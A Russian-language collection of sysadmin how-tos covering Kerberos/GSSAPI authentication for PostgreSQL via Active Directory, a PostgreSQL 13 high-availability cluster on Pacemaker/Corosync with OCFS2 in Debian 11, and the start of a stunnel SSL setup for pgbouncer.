  • realm - имя домена (DOMAIN.TEST) В моём примере имя службы получается: postgres/pg-host.domain.test@DOMAIN.TEST Создаём пользователя pg-user в Active Directory, указываем "Запретить смену пароля пользователей" и "Срок действия пароля не ограничен". Создание файла с таблицами ключей Для того, чтобы служба СУБД могла подключаться к Active Directory без ввода пароля, необходимо создать файл keytab на сервере с Windows Server и после переместить его на сервер c СУБД. Создание файла выполняется с помощью команды ktpass.exe: ktpass.exe -princ postgres/pg-host.domain.test@DOMAIN.TEST -ptype KRB5_NT_PRINCIPAL -crypto ALL -mapuser pg-user@domain.test -pass <пароль> -out %tmp%\krb5.keytab Эта же команда выполняет привязку имени сервиса к учётной записи. Подключаемся к СУБД Postgresql и определяем, где СУБД предполагает наличие файла keytab: postgres@pg-host:~$ psql postgres=# show krb_server_keyfile; FILE:/etc/postgresql-common/krb5.keytab Копируем файл с Windows Server на сервер с СУБД в указанное место. Если файл необходимо расположить в другом месте, то необходимо поменять параметр krb_server_keyfile: sql> alter system set krb_server_keyfile=''/path''; Настройка Postgresql Настройка файла доступа pg_hba.conf и файла сопоставления имён pg_ident.conf В файле pg_ident.conf описываем сопоставление пользователей Active Directory с пользователями БД: # MAPNAME SYSTEM-USERNAME PG-USERNAME gssmap /^(.*)@DOMAIN\.TEST$ \1 Данное сопоставление указывает отображать доменного пользователя user@DOMAIN.TEST в пользователя БД user (для подключения, пользователь user уже должен быть создан в БД). В файле pg_hba.conf указываем, например, что использовать аутентификацию с помощью GSSAPI необходимо только для пользователей, состоящих в группе krb_users и подключающихся из сети 192.168.1.0/24: host all +krb_users 192.168.1.0/24 gss include_realm=1 krb_realm=DOMAIN.TEST map=gssmap Здесь:
  • map=gssmap - имя сопоставления из файла pg_ident.conf
  • krb_realm - имя домена Active Directory Создание пользователей Создаём пользователей в Active Directory: user1, user2. Создаём пользователей в СУБД: postgres=# create role user1 login; postgres=# create role user2 login; postgres=# create role user3 login encrypted password ''пароль'' ; Создаём группу krb_users (как файле pg_hba.conf) и добавляем необходимых пользователей в неё: postgres=# grant krb_users to user1; postgres=# grant krb_users to user2; В данном случае, пользователи user1, user2 смогут подключится к СУБД через GSSAPI, используя учётные данные из Active Directory, а пользователь user3 сможет подключиться только с указанием пароля, хранящимся в БД. Проверка подключения На Windows машине проверяем подключение. Входим на компьютер с Windows через Active Directory, например, как user1@domain.test. Запускаем клиент postgresql, в строке подключения указываем полное доменное имя сервера СУБД, как прописано в файле keytab - pg-host.domain.test, логин и пароль не указываем: C:\> chcp 1251 C:\> psql -h pg-host.domain.test -d postgresql Смотрим список билетов Kerberos: C:\> klist.exe #2> Клиент: user1 @ DOMAIN.TEST Сервер: postgres/pg-host.domain.test @ DOMAIN.TEST Тип шифрования KerbTicket: RSADSI RC4-HMAC(NT) флаги билета 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Время начала: 7/24/2022 11:22:54 (локально) Время окончания: 7/24/2022 20:59:53 (локально) Время продления: 7/24/2022 10:59:53 (локально) Тип ключа сеанса: RSADSI RC4-HMAC(NT) Флаги кэша: 0 Вызванный центр распространения ключей: dc.domain.test Проверяем подключение пользователя user3 с помощью пароля: C:\> psql -h pg-host.domain.test -d postgresql -U user3 Как видно аутентификация в СУБД работает успешно как с помощью Active Directory, так и через пароль, хранящийся в БД.
  •  
    ----* Настройка СУБД PostgreSQL 13 под управлением Pacemaker/Corosync в Debian 11   Автор: Slonik  [комментарии]
     
    В статье расскажу про мой опыт настройки Postgresql для работы под контролем
    кластерной службы Pacemaker
    
    Под нагрузкой данное решение не проверялось, всегда делайте (и проверяйте) резервные копии.
    
    Для хранения базы данных будет рассмотрен пример использования кластерной файловой системе OCFS2.
    
    Версии ПО, использованные в примере:
    
    
  • OCFS2 - драйвер из ядра 5.10, утилиты ocfs2-tools - 1.8.6
  • Corosync - 3.1.2
  • Pacemaker - 2.0.5
  • Postgresql 13 В статье будет три типа кластеров:
  • кластер файловой системы OCFS2 - обеспечивает хранение файлов на общем диске и согласованную работу с ними
  • кластер Corosync/Pacemaker - обеспечивает отслеживание работы процессов СУБД, запуск виртуального ip-адреса СУБД
  • кластер баз данных Postgresql - набор баз, управляемых одним экземпляром работающего сервера СУБД Подготовка операционных систем Для устойчивой работы кластеров (OCFS2, Pacemaker/Corosync) необходимо как минимум три сервера. Сервера могут быть как физические так и виртуальные. Желательно, чтобы сервера имели одинаковые характеристики производительности. Я для демонстрации подготовил три виртуальные машины с помощью Qemu-KVM. Устанавливаем ОС Debian 11 на каждый из серверов в минимальной конфигурации. Настройка сети В примере у меня будут сервера с адресами:
  • node1 - ip 192.168.1.11
  • node2 - ip 192.168.1.12
  • node3 - ip 192.168.1.13 Имена узлов должны разрешаться в IP-адреса на каждом из серверов, для этого необходимо прописать сопоставление в файле /etc/hosts или создать записи на DNS-сервере. root:~# cat /etc/hosts 127.0.0.1 localhost 192.168.1.11 node1.local node1 192.168.1.12 node2.local node2 192.168.1.13 node3.local node3 В случае реальной реализации кластера, сетевых карт на каждом из серверов должно быть как минимум две - карты необходимо объединить в логическое устройство bonding или teaming. Физически карты должны подключаться к двум независимым коммутаторам. В примере у меня будет по одной сетевой карте на сервер. Настройка сетевого экрана Выполняем настройку экрана на каждом узле:
  • устанавливаем пакет для управления брандмауэром ufw
  • создаём разрешающие правила для ssh, postgres, узлов кластера
  • активируем правила root# apt install ufw root# ufw allow ssh root# ufw allow postgres root# ufw allow from 192.168.1.11 to any root# ufw allow from 192.168.1.12 to any root# ufw allow from 192.168.1.13 to any root# ufw enable Кластер OCFS2 для отслеживания работы узлов по-умолчанию использует протокол TCP порт 7777 (задаётся в файле /etc/ocfs2/cluster.conf), а Corosync - протокол UDP, порт 5405 (задаётся в файле /etc/corosync/corosync.conf), с учётом этого, можно настроить более тонкие правила брандмауэра: root# ufw allow proto tcp from 192.168.1.11 to any port 7777 root# ufw allow proto tcp from 192.168.1.12 to any port 7777 root# ufw allow proto tcp from 192.168.1.13 to any port 7777 root# ufw allow proto udp from 192.168.1.11 to any port 5405 root# ufw allow proto udp from 192.168.1.12 to any port 5405 root# ufw allow proto udp from 192.168.1.13 to any port 5405 Настройка дисковой системы На каждом сервере будет индивидуальный диск для системы (/dev/vda, 20 Гб) и общий диск на все сервера для хранения БД (/dev/vdb, 5 Гб): root# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 254:0 0 20G 0 disk ├─vda1 254:1 0 512M 0 part /boot/efi ├─vda2 254:2 0 18,5G 0 part / └─vda3 254:3 0 976M 0 part [SWAP] vdb 254:16 0 5G 0 disk /mnt/ocfs2clst Настройка кластерной файловой системы Для реального использования общий диск должен быть расположен на системе хранения данных, и подключатся к серверам по нескольким путям. Для демонстрации общий диск будет реализован с помощью средств Qemu-KVM. Настройка службы кластера ФС OCFS2 Настройка ядра Linux Необходимо изменить параметры ядра, чтобы сервер автоматически перезагружался при сбое кластерной ФС, для это нужно создать файл /etc/sysctl.d/10-ocfs2.conf kernel.panic_on_oops = 1 kernel.panic = 30 После применить параметры: root# systemctl restart systemd-sysctl Данные настройки указывают ядру Linux при возникновении сбоя (когда связь по сети пропала, но узел продолжает запись heartbeat сообщений на общий диск) автоматически перезагрузить узел через 30 секунд. Установка пакетов OCFS2 Устанавливаем пакеты на каждом из узлов root# apt install ocfs2-tools Настройка кластера ФС OCFS2 Все настройки кластера OCFS2 хранятся в файле /etc/ocfs2/cluster.conf. Нужно либо выполнить команды на каждом узле кластера, либо выполнить на одном узле и после скопировать файл /etc/ocfs2/cluster.conf на каждый узел, а после выполнить регистрацию и запуск. Создаём кластер (выполнить на каждом узле кластера) root# o2cb add-cluster ocfs2clst Добавляем узлы в кластер (выполнить на каждом узле кластера), имя узла должно совпадать с тем, что выдаёт команда hostname root# o2cb add-node --ip 192.168.1.11 --port 7777 --number 1 ocfs2clst node1 root# o2cb add-node --ip 192.168.1.12 --port 7777 --number 2 ocfs2clst node2 root# o2cb add-node --ip 192.168.1.13 --port 7777 --number 3 ocfs2clst node3 Регистрируем кластер (выполнить на каждом узле кластера) root# o2cb register-cluster ocfs2clst Включаем кластер (выполнить на каждом узле кластера) root# o2cb start-heartbeat ocfs2clst Выполняем настройку драйвера ФС (обязательно выполнить на каждом узле кластера) root# dpkg-reconfigure ocfs2-tools Запускать кластер OCFS2 (O2CB) во время загрузки компьютера?: Y Имя кластера, запускаемого во время загрузки компьютера: ocfs2clst Настройки драйвера хранятся в файле /etc/default/o2cb Содержимое файла: # O2CB_ENABLED: 'true' means to load the driver on boot. O2CB_ENABLED=true # O2CB_BOOTCLUSTER: If not empty, the name of a cluster to start. O2CB_BOOTCLUSTER=ocfs2clst # O2CB_HEARTBEAT_THRESHOLD: Iterations before a node is considered dead. O2CB_HEARTBEAT_THRESHOLD=31 # O2CB_IDLE_TIMEOUT_MS: Time in ms before a network connection is considered dead. O2CB_IDLE_TIMEOUT_MS=30000 # O2CB_KEEPALIVE_DELAY_MS: Max. time in ms before a keepalive packet is sent. O2CB_KEEPALIVE_DELAY_MS=2000 # O2CB_RECONNECT_DELAY_MS: Min. time in ms between connection attempts. O2CB_RECONNECT_DELAY_MS=2000 Создание ФС OCFS2 Можно создать разделы на кластерном томе и создавать ФС уже на разделе, но это добавит сложностей при расширении тома, так как придётся вручную править границы раздела с помощью parted/fdisk и после расширять ФС. Но у нас кластерный том планируется целиком отдать под работу СУБД Postgresql, поэтому ФС предлагаю создать сразу на всем томе (в примере это диск /dev/vdb). Выполняем форматирование общего тома на одном из узлов: root# mkfs.ocfs2 -L pg-data --cluster-name=ocfs2clst -N 5 -T datafiles --fs-feature-level=max-features --cluster-stack=o2cb /dev/vdb Описание параметров:
  • -L pg-data - метка ФС
  • --cluster-name=ocfs2clst - имя кластера OCFS2, который управляет ФС
  • -N 5 - максимальное количество узлов, которые могут работать одновременно с ФС, позже можно поменять с помощью tunefs.ocfs2, но рекомендуется создавать структуру заранее
  • -T datafiles - тип хранимых данных, может быть mail, datafiles, vmstore
  • --fs-feature-level=max-features - включаем все доступные возможности ФС, т.к. узлы у нас идентичные
  • --cluster-stack=o2cb - используем для управления ФС стандартный стек o2cb Проверяем, что метки новой ФС видны на всех узлах кластера: root# blkid /dev/vdb /dev/vdb: LABEL="pg-data" UUID="ce92b1e7-30cb-4883-9a92-57c986f76acd" BLOCK_SIZE="4096" TYPE="ocfs2" Вывод команды blkid на всех узлах кластера должен совпадать. Выполняем пробное монтирование Монтирование выполняется 20-30 секунд, так как требует согласования по сети. Выполняем команды на всех узлах кластера. root# mkdir /mnt/ocfs2clst root# mount /dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd /mnt/ocfs2clst Команда mounted.ocfs2 показывает на каких узлах смонтирована ФС. root# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node2, node3 Создаём пробные файлы/папки в каталоге /mnt/ocfs2clst на одном из узлов и проверяем, что они видны на остальных узлах кластера OCFS2. Размонтируем ФС на каждом узле: root# umount /mnt/ocfs2clst Расширение ФС OCFS2 Если потребуется увеличить размер хранилища:
  • Увеличиваем размер тома на СХД
  • Пересканируем том на сервере или перезагружаем узлы кластера
  • Расширяем ФС root# tunefs.ocfs2 -S /dev/vdb Добавление узла в кластер OCFS2 Если потребуется добавить ещё узел (например, node4, с ip 192.168.1.14) в кластер OCFS2, то необходимо выполнить команду на каждом узле: root# o2cb_ctl -C -i -n node4 -t node -a number=4 -a ip_address=192.168.1.14 -a ip_port=7777 -a cluster=ocfs2clst Необходимо заметить, что для обеспечения кворума, количество узлов должно быть нечётным. Установка PostgreSQL Устанавливаем пакеты на все узлы кластера: root# apt install postgresql Отключаем службу на каждом узле кластера, т.к. запуском СУБД будет управлять Pacemaker root# systemctl disable postgresql Настройка Pacemaker/Corosync Установка пакетов root# apt install pacemaker corosync crmsh fence-agents Настройка Corosync Служба Corosync обеспечивает обмен сообщениями между узлами кластера, с помощью неё отслеживается, что узлы работают корректно. А уже на основании информации о том какие узлы доступны, служба Pacemaker принимает решение о запуске сервисов (запуск виртуальных ip-адресов, монтирование файловых систем, запуск процессов СУБД). Настройки Corosync хранятся в файле /etc/corosync/corosync.conf. Рабочий пример файла указан ниже: # Please read the corosync.conf.5 manual page totem { version: 2 cluster_name: pgclst crypto_cipher: aes256 crypto_hash: sha256 } logging { fileline: off to_stderr: yes to_logfile: yes logfile: /var/log/corosync/corosync.log to_syslog: yes debug: off logger_subsys { subsys: QUORUM debug: off } } quorum { provider: corosync_votequorum } nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } Включение шифрования сообщений Corosync Для повышения безопасности можно включить шифрование служебных сообщений при обмене между узлами кластера. Для этого на одном из узлов необходимо выполнить команду: root# corosync-keygen Она создаст файл /etc/corosync/authkey, этот файл необходимо скопировать на другие узлы кластера. root@node1:~# scp /etc/corosync/authkey root@node2:/etc/corosync/authkey root@node1:~# scp /etc/corosync/authkey root@node3:/etc/corosync/authkey В файле настроек /etc/corosync/corosync.conf необходимо задать параметры crypto_cipher и crypto_hash в секции totem: totem { ... crypto_cipher: aes256 crypto_hash: sha256 ... } Если вам необходимо разместить файл-ключ по не стандартному пути, то расположение можно указать с помощью директивы keyfile. После изменений необходимо перезапустить службы на каждом узле: root# systemctl restart corosync pacemaker Параметры узлов кластера Corosync Для работы кластера необходимо указать список узлов. Это делается в секции nodelist. nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } После настройки, копируем файл /etc/corosync/corosync.conf на остальные узлы. Перезагружаем все узлы кластера и проверяем работу службы corosync с помощью команд corosync-quorumtool и crm_mon root@node1:~# corosync-quorumtool -s Quorum information ------------------ Date: Thu Jul 14 21:09:17 2022 Quorum provider: corosync_votequorum Nodes: 3 Node ID: 1 Ring ID: 1.139 Quorate: Yes Votequorum information ---------------------- Expected votes: 3 Highest expected: 3 Total votes: 3 Quorum: 2 Flags: Quorate Membership information ---------------------- Nodeid Votes Name 1 1 node1 (local) 2 1 node2 3 1 node3 root@node1:~# crm_mon -1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Thu Jul 14 21:11:18 2022 * Last change: Thu Jul 14 20:24:25 2022 by root via cibadmin on node1 * 3 nodes configured * 0 resource instances configured Node List: * Online: [ node1 node2 node3 ] Настройка Pacemaker Ресурсы Pacemaker описываются через XML-файлы, я вместо ручного написания xml-объектов буду использовать crm (CRM shell), где параметры ресурсов можно задать в виде аргументов. Смена имени кластера Ранее мы создали кластер OCFS2 с именем ocfs2clst, кластер Corosync с именем pgclst, теперь укажем имя кластера Pacemaker. После установки, имя кластера Pacemaker, обычно debian, поменяем его также на pgclst: root# crm_attribute --query --name=cluster-name scope=crm_config name=cluster-name value=debian root# crm_attribute --type crm_config --name cluster-name --update pgclst Параметры по-умолчанию Меняем параметры по-умолчанию для новых ресурсов:
  • resource-stickiness - "липучесть" ресурса к текущему расположению в кластере (по-умолчанию 0), или "стоимость" переноса ресурса на другой узел. При увеличении значения, pacemaker будет стараться восстановить состояние сбойного ресурса на том же узле, при малом значении - предпочтёт восстановить ресурс запуском на других узлах. root# crm_attribute --type rsc_defaults --name resource-stickiness --update 10
  • migration-threshold - кол-во сбоев ресурса на узле, при превышении которого происходит миграция на другой узел root# crm_attribute --type rsc_defaults --name migration-threshold --update 2 Ассиметричный кластер Можно указать, что для запуска каких-либо ресурсов необходимо наличие явного разрешающего правила. Это может понадобиться если не все узлы кластера идентичны по характеристикам: root# crm_attribute -n symmetric-cluster -v false После включения для каждого ресурса будет необходимо создать правила. crm conf location <имя правила> <имя ресурса> <приоритет>: <узел> Например, для ресурса виртуального ip-адреса (ip-pgclst) можно указать, что c приоритетом 100 он будет размещаться на узле node1, с приоритетом 10 - на узле node2, а на узле node3 его запуск будет запрещён (приоритет -infinity ): root~# crm conf crm(live)configure# location loc-ip-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-3 ip-pgclst -inf: node3 Изоляция узлов (stonith) В Pacemaker для каждого узла необходимо указать метод изоляции (fencing) в случае сбоя сетевой доступности. Осуществляется изоляция с помощью stonith ресурсов. Это могут быть программы для отключения питания на UPS, программы, которые подключаются к гипервизору и принудительно завершают работу виртуальной машины (нашего узла кластера) и много других вариантов. Без STONITH устройств Pacemaker откажется запускать ресурсы: root:~# crm_verify -L -V (unpack_resources) error: Resource start-up disabled since no STONITH resources have been defined (unpack_resources) error: Either configure some or disable STONITH with the stonith-enabled option (unpack_resources) error: NOTE: Clusters with shared data need STONITH to ensure data integrity Errors found during check: config not valid Список устройств для изоляции можно узнать из команды: root# stonith_admin --list-installed Параметры, необходимые устройству для работы, можно узнать: root# stonith -t <имя устройста stonith> -n Простейшие stonith ресурсы можно создать так. Ресурс-пустышка dummy - ничего не отключает: root# crm conf primitive sh-dummy stonith:null params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency sh-dummy SSH-stonith - пытается подключиться к сбойному узлу через SSH и запланировать выключение через службу at (должна быть установлена на всех узлах). root# apt install at root# crm conf primitive fence-ssh stonith:ssh params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency fence-ssh Имитируем сбой на узле node3: root# stonith -t ssh -p "node1 node2 node3" -T reset node3 Для тестирования может понадобится отключение STONITH (НЕ РЕКОМЕНДУЕТСЯ): root~# crm_attribute -n stonith-enabled -v false Очистить ошибки можно командой: root# stonith_admin --cleanup --history=node3 Стоит заметить что, в случае сбоя сети, кроме STONITH устройств, узел кластера может перезагрузить служба OCFS2. Если у какого-либо узла пропадёт связь с другими узлами, но он продолжит посылать heartbeat сообщения на кластерный диск, то через 30 секунд (значение sysctl kernel.panic = 30) этот узел будет перезагружен принудительно. Настройка PostgreSQL для работы под управлением Pacemaker/Corosync Для запуска PostgreSQL необходимо создать три ресурса:
  • Ресурс, который будет монтировать ФС, где расположена БД
  • Ресурс виртуального ip-адреса, по которому будут обращаться клиенты к СУБД
  • Ресурс, запускающий процессы СУБД PostgreSQL После необходимо настроить правила совместного расположения ресурсов и указать порядок запуска. В примере будет созданы ресурсы, обеспечивающие работу экземпляра СУБД. Ресурс, обеспечивающий монтирование ФС с БД Описание ресурса Pacemaker для ФС OCFS2 Ресурс fs-ocfs2 будет монтировать кластерную ФС OCFS2 в каталог /mnt/ocfs2clst на каждом узле. Монтирование будет производится по метке ФС. Том, где расположена БД, у меня имеет UUID метку ce92b1e7-30cb-4883-9a92-57c986f76acd (см. Создание ФС OCFS2). root~# mkdir -p /mnt/ocfs2clst # выполнить на каждом узле root@node1:~# crm conf crm(live/node1)configure# primitive fs-ocfs2 Filesystem \ params device="/dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd" \ directory="/mnt/ocfs2clst" \ fstype=ocfs2 options="rw,relatime,commit=5,coherency=buffered" \ op start timeout=60s interval=0 \ op stop timeout=60s interval=0 \ op monitor timeout=40 interval=20 Полный список параметров монтирования можно узнать на странице https://www.kernel.org/doc/html/latest/filesystems/ocfs2.html По-умолчанию, ресурс запускается только на одном узле, но так как у нас ФС кластерная, необходимо запустить ресурс на всех узлах. Это возможно с помощью клона ресурса: crm(live/node1)configure# clone fs-clone-ocfs2 fs-ocfs2 Проверяем конфигурацию и выходим: crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit После создания ресурса, ФС должна автоматически смонтироваться на всех узлах кластера. root@node1:~# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node3, node2 Правила размещения ресурса на узлах Если указан параметр symmetric-cluster=false, то для запуска ресурсов необходимо указать явные правила, где ресурсы могут запускаться. Указываем, что ресурс кластерной ФС должен запускаться на всех узлах кластера с равным приоритетом 1: root~# crm conf crm(live)configure# location loc-fs-ocfs2-1 fs-clone-ocfs2 1: node1 crm(live)configure# location loc-fs-ocfs2-2 fs-clone-ocfs2 1: node2 crm(live)configure# location loc-fs-ocfs2-3 fs-clone-ocfs2 1: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. Ресурс виртуального ip-адреса Создаём ресурс ip-pgclst виртуального ip-адреса 192.168.1.10. Именно этот ip-адрес будет использовать СУБД для приёма подключений. root~# crm conf crm(live)configure# primitive ip-pgclst IPaddr \ params ip=192.168.1.10 \ op monitor interval=10s Если в атрибутах кластера Pacemaker указан параметр symmetric-cluster=false, то аналогично ресурсу файловой системы создаём правила размещения. Ресурс ip-адреса будет располагаться совместно с СУБД. Если производительность узлов отличается, то можно указать разные приоритеты для запуска. Предположим, что node1 мощнее, чем node2, а node3 вообще исключим для работы СУБД: root~# crm conf crm(live)configure# location loc-ip-pgclst-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-pgclst-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-pgclst-3 ip-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. У меня в примере правила размещения не используются. Ресурс Pacemaker, запускающий процессы СУБД PostgreSQL Инициализация файлов кластера БД PostgreSQL Изменяем владельца и права доступа на каталог с БД: root# chown -R postgres:postgres /mnt/ocfs2clst root# chmod 750 /mnt/ocfs2clst Инициализируем файлы кластера БД PostgreSQL в каталоге /mnt/ocfs2clst/pg-data с включением контроля чётности страниц БД, а после запускаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/initdb -D /mnt/ocfs2clst/pg-data/ -A peer -k postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ start Настройка конфигурации PostgreSQL Подключаемся к СУБД через unix-сокет: root@node1:~# su - postgres postgres@node1:~$ psql Изменяем параметры БД для возможности работы под управлением Pacemaker: psql> alter system set logging_collector=on; psql> alter system lc_messages = 'C.UTF-8'; psql> alter system set listen_addresses='192.168.1.10'; Здесь я включил сборщик сообщений (logging collector), поменял язык сообщений на английский (при работе по Pacemaker, русские сообщения заменялись вопросами) и указал, что СУБД должна принимать соединения только на кластерном ip-адресе. Если потребуется в кластере Pacemaker запустить несколько экземпляров Postgresql, то необходимо разместить unix-сокет СУБД по отдельным каталогам, так как по-умолчанию все экземпляры будут создавать сокет в каталоге /tmp. psql> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-data'; Например, если бы у нас было две БД: СУБД 1, кластерный ip 192.168.1.21, каталог /mnt/ocfs2clst/pg-db1 СУБД 2, кластерный ip 192.168.1.22, каталог /mnt/ocfs2clst/pg-db2 то unix_socket_directories необходимо задать: psql db1> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db1'; psql db2> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db2; В дальнейшем для подключения через unix-сокет необходимо указать путь к нему (команду необходимо выполнять на том узле, где работает СУБД): postgres@node1:~$ psql -h /mnt/ocfs2clst/pg-data/ Редактируем файл /mnt/ocfs2clst/pg-data/pg_hba.conf, разрешаем подключение по сети с паролем: ... # IPv4 network connections host all all all md5 ... После внесения настроек, останавливаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ stop Создание ресурса СУБД PostgreSQL root~# crm configure crm(live/node1)configure# primitive db-pgclst pgsql \ params pgctl="/usr/lib/postgresql/13/bin/pg_ctl" \ psql="/usr/lib/postgresql/13/bin/psql" \ pgdba=postgres \ pglibs="/usr/lib/postgresql/13/lib" \ pgdata="/mnt/ocfs2clst/pg-data" \ socketdir="/mnt/ocfs2clst/pg-data" \ config="/mnt/ocfs2clst/pg-data/postgresql.conf" \ op start timeout=120s interval=0 \ op stop timeout=120s interval=0 \ op monitor timeout=30 interval=30 Значения параметра socketdir в описании ресурса Pacemaker должно совпадать с параметром unix_socket_directories в файле конфигурации PostgreSQL postgresql.conf/postgresql.auto.conf. Правила размещения ресурса на узлах Аналогично ресурсу ip-адреса, если в атрибутах указан параметр symmetric-cluster=false, то создаём правила размещения ресура: root~# crm conf crm(live)configure# location loc-db-pgclst-1 db-pgclst 100: node1 crm(live)configure# location loc-db-pgclst-2 db-pgclst 10: node2 crm(live)configure# location loc-db-pgclst-3 db-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно, тогда СУБД сможет запускаться на любом из узлов, при условии, что ресурсу ip-адреса так же разрешен запуск на всех узлах. У меня в примере правила размещения не используются. Правила, описывающие совместное расположение ресурсов Необходимо, чтобы виртуальный ip-адрес и экземпляра СУБД PostgreSQL располагались на одном узле, иначе СУБД не запустится. crm conf colocation <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответствующее правило: root~# crm conf crm(live/node1)configure# colocation col-ip-pgsql inf: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Правила, описывающие порядок запуска ресурсов Необходимо, чтобы ресурс виртуального ip-адреса и ресурс, монтирующий кластерную ФС OCFS2, запускались раньше ресурса СУБД PostgreSQL. crm conf order <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответсвующие правила: root~# crm conf crm(live/node1)configure# order ord-fs-pgsql Mandatory: fs-clone-ocfs2 db-pgclst crm(live/node1)configure# order ord-ip-pgsql Mandatory: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Проверка работы После настройки ресурсов проверяем, что все они запущены с помощью команды crm_mon: root@node1:~# crm_mon -nr1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Sat Jul 16 18:04:00 2022 * Last change: Sat Jul 16 10:52:30 2022 by root via cibadmin on node2 * 3 nodes configured * 8 resource instances configured Node List: * Node node1: online: * Resources: * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * sh-dummy (stonith:null): Started * Node node2: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * db-pgclst (ocf::heartbeat:pgsql): Started * ip-pgclst (ocf::heartbeat:IPaddr): Started * Node node3: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started Inactive Resources: * No inactive resources Из вывода видно, что СУБД запущена на узле node2. Подключимся к нему через ssh и создадим пользователя в Postgresql: user@pc:~$ ssh user@192.168.1.12 user@node2:~$ sudo su - postgres postgres@node2:~$ psql -h /mnt/ocfs2clst/pg-data/ postgres=# create role pguser login encrypted password 'пароль'; postgres=# \q Проверяем подключение к СУБД с клиента: user@pc:~$ psql -h 192.168.1.10 -U pguser postgres postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) С любого узла кластера перемещаем СУБД на другой узел: root@node1:~# crm_resource --move -r db-pgclst -H node1 или с помощью CRM Shell root@node1:~# crm resource move db-pgclst node1 Определяем где запущен ресурс: root@node1:~# crm_resource -W -r db-pgclst resource db-pgclst is running on: node1 Выполняем повторный запрос с клиента: postgres=> select count(*) from pg_settings; FATAL: terminating connection due to administrator command сервер неожиданно закрыл соединение Скорее всего сервер прекратил работу из-за сбоя до или в процессе выполнения запроса. Подключение к серверу потеряно. Попытка восстановления удачна. psql (14.1, сервер 13.7 (Debian 13.7-0+deb11u1)) postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) Как видно, при перемещении ресурса все соединения с СУБД закрылись, но повторный sql-запрос выполнился успешно. Команды перемещения ресуров crm_resource --move или crm resource move на самом делее создают в базе Pacemaker CIB запись: <rsc_location id="cli-prefer-db-pgclst" rsc="db-pgclst" role="Started" node="node1" score="INFINITY"/> Эта запись указывает в дальнейшем запускать ресурс db-pgclst на узле node1. Для того чтобы вернуть возможность запуска ресурса на любом из узлов достаточно выполнить одну из команд: root# crm_resource -r db-pgclst --clear root# crm resource clear db-pgclst Команды управления кластером Pacemaker root# crm_verify -L -V - проверка конфигурации Pacemaker root# crm_mon -rf - отслеживание статуса ресурсов root# crm_resource -W -r db-pgclst - определить расположение ресурса db-pgclst в кластере root# crm node standby - приостановить работу узла root# crm node online - возобновить работу узла root# crm resource status - посмотреть список ресурсов root# crm resource move db-pgclst node2 - мигрировать ресурс ip-pgclst на узел node2 root# crm resource clear db-pgclst - убрать привязку после переноса root# crm resource stop db-pgclst - остановить ресурс db-pgclst root# crm resource start db-pgclst - запустить работу ресурса db-pgclst root# crm resource cleanup db-pgclst или # crm_resource --resource db-pgclst --cleanup - сброс количества ошибок ресурса root# crm configure delete db-pgclst - удаление ресурса root# cibadmin --query > tmp.xml - создать дамп базы Pacemaker CIB
  •  
    ----* Добавление поддержки SSL в pgbouncer при помощи stunnel   Автор: umask  [комментарии]
     
    Для быстрого старта pgbouncer c поддержкой SSL можно использовать вот такой
    конфигурационный файл stunnel:
    
       ### stunnel config for ssl-before-pgbouncer
       
       ### Quick way to create stunnel.pem:
       ### cd /etc/stunnel
       ### openssl req -new -x509 -days 77777 -nodes -out stunnel.pem -keyout stunnel.pem
       ### openssl gendh 2048 >> stunnel.pem
       ### openssl x509 -subject -dates -fingerprint -in stunnel.pem
    
       cert = /etc/stunnel/stunnel.pem
       foreground = yes
       setgid = nobody
       setuid = nobody
       pid = /tmp/stunnel.pid
       compression = zlib
       ### use this level to prevent trashing logs
       #debug = 4
       
       [psqlssl]
       ### stunnel will listen here
       accept = 127.0.0.1:9933
